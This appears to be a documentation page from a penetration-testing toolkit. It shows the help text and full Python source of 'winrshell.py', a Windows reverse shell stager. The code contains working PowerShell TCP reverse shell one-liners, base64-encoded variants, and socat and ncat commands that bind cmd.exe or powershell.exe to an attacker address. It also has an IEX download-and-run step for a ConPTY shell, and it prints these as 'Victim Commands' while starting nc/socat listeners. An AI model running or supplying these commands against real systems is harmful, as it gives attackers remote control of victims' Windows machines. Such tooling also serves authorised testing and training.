v0tools
GitHub Toggle Dark/Light/Auto mode Toggle Dark/Light/Auto mode Toggle Dark/Light/Auto mode Back to homepage

winrshell.py

Windows Reverse Shell stager.

usage: winrshell.py [-h] [-p PORT] [--interface INTERFACE] [--ipv {4,6}] [--rshell RSHELL] [--list]

Windows Reverse Shell stager.

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port number, or default random port in range:1025-65535.
  --interface INTERFACE, -i INTERFACE
                        network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear
  --ipv {4,6}           IP Version
  --rshell RSHELL, -s RSHELL
                        Reverse shell type psh,conpty
  --list, -l            List reverse shell types
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Windows Reverse Shell stager."""
import argparse
from v0tools.lib import util
from v0tools import ansi, net, fzfhelper, syspkgs
from v0tools.lib.util import powershell_base64_encode
from pyfzf.pyfzf import FzfPrompt
from v0tools.servers import httpserv
from v0tools import Config, cli
import os
import time

SAVE = r"""
New-Object System.Net.Sockets.TCPClient('__IP__',__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
"""

PSCMDS = r"""
$client = New-Object System.Net.Sockets.TCPClient('__IP__',__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
"""


def _rawshell(args):
    """Raw Cons shell listener

    Runs: stty raw -echo; (stty size; cat) | nc -lvnp {args.port}
    """
    rows, cols = util.term_rows_cols()
    file = Config.V0_POWERSHELL_CONPTY()
    # Random port for temporary serv
    port = util.randport()
    psurl = httpserv.powershell_serv(args.address, str(port), file)
    pscmd = f"IEX({psurl}); Invoke-ConPtyShell -RemoteIp {args.address} -RemotePort {args.port} -Rows {rows} -Cols {cols}"
    remote_commands = [
        f"powershell -nop -c {pscmd}",
        f"powershell -nop -e {powershell_base64_encode(pscmd)}",
    ]
    lcmd = f"stty raw -echo; (stty size; cat) | nc -lvnp {args.port}"
    _print_remote(remote_commands)
    _print_local(lcmd)
    # small delay to allow the above stuff to finish before the raw terminal
    # makes stuff look wonky
    time.sleep(2)
    os.system(lcmd)
    # Reset the tty
    os.system("stty sane")


def _powershell(args):
    """Powershell reverse shell listener

    Runs: rlwrap socat tcp-listen:"{args.port}" STDOUT
    """

    def _repl(src, address, port):
        return src.strip().replace("__IP__", address).replace("__PORT__", str(port))

    pscmds = [
        _repl(i, args.address, args.port) for i in PSCMDS.splitlines() if i.strip()
    ]

    remote_commands = [
        f"socat TCP4:{args.address}:{args.port} EXEC:'cmd.exe',pipes",
        f"socat TCP4:{args.address}:{args.port} EXEC:'powershell.exe',pipes",
        f"ncat.exe {args.address} {args.port} -e powershell.exe",
        f"ncat.exe {args.address} {args.port} -e cmd.exe",
    ]

    for i in pscmds:
        remote_commands.append(f'powershell -nop -c "{i}"')
        remote_commands.append(f"powershell -nop -e {powershell_base64_encode(i)}")

    lcmd = f'rlwrap socat tcp-listen:"{args.port}" STDOUT'
    _print_remote(remote_commands)
    _print_local(lcmd)
    os.system(lcmd)


SH_MAP = {
    "psh": _powershell,
    "conpty": _rawshell,
}

cli = cli.Cli()
cli.add_port()
cli.add_ipv_interface()
parser = cli.parser

parser.add_argument(
    "--rshell",
    "-s",
    help=f"Reverse shell type {','.join(SH_MAP.keys())}",
    type=str,
)

parser.add_argument(
    "--list",
    "-l",
    help="List reverse shell types",
    action="store_true",
    default=False,
)


def _print_remote(remote_commands):
    print(ansi.banner("Victim Commands:"))
    for i in remote_commands:
        print(f"{i}\n")


def _print_local(lcmd):
    print(ansi.banner(f"Starting listener: {lcmd}"))


def main(args):
    """Run main function."""
    SH_MAP[args.rshell](args)


if __name__ == "__main__":
    syspkgs.check_installs(["nc", "socat", "rlwrap"])
    args = cli.get_parse()
    # args = parser.parse_args(["-l"])
    # args = parser.parse_args(["-i", "tun0", "-p", "36185"])
    # args = parser.parse_args(["-i", "tun0"])
    if args.list:
        for k, func in SH_MAP.items():
            print(f"{k}:")
            for line in func.__doc__.split("\n"):
                print(f"\t{line.strip()}")
        raise SystemExit()
    args.rstr = util.randstr()
    args.fzf = FzfPrompt()
    if not args.rshell:
        if len(SH_MAP) == 1:
            args.rshell = list(SH_MAP.keys())[0]
        else:
            args.rshell = args.fzf.prompt(SH_MAP.keys())[0]
    main(args)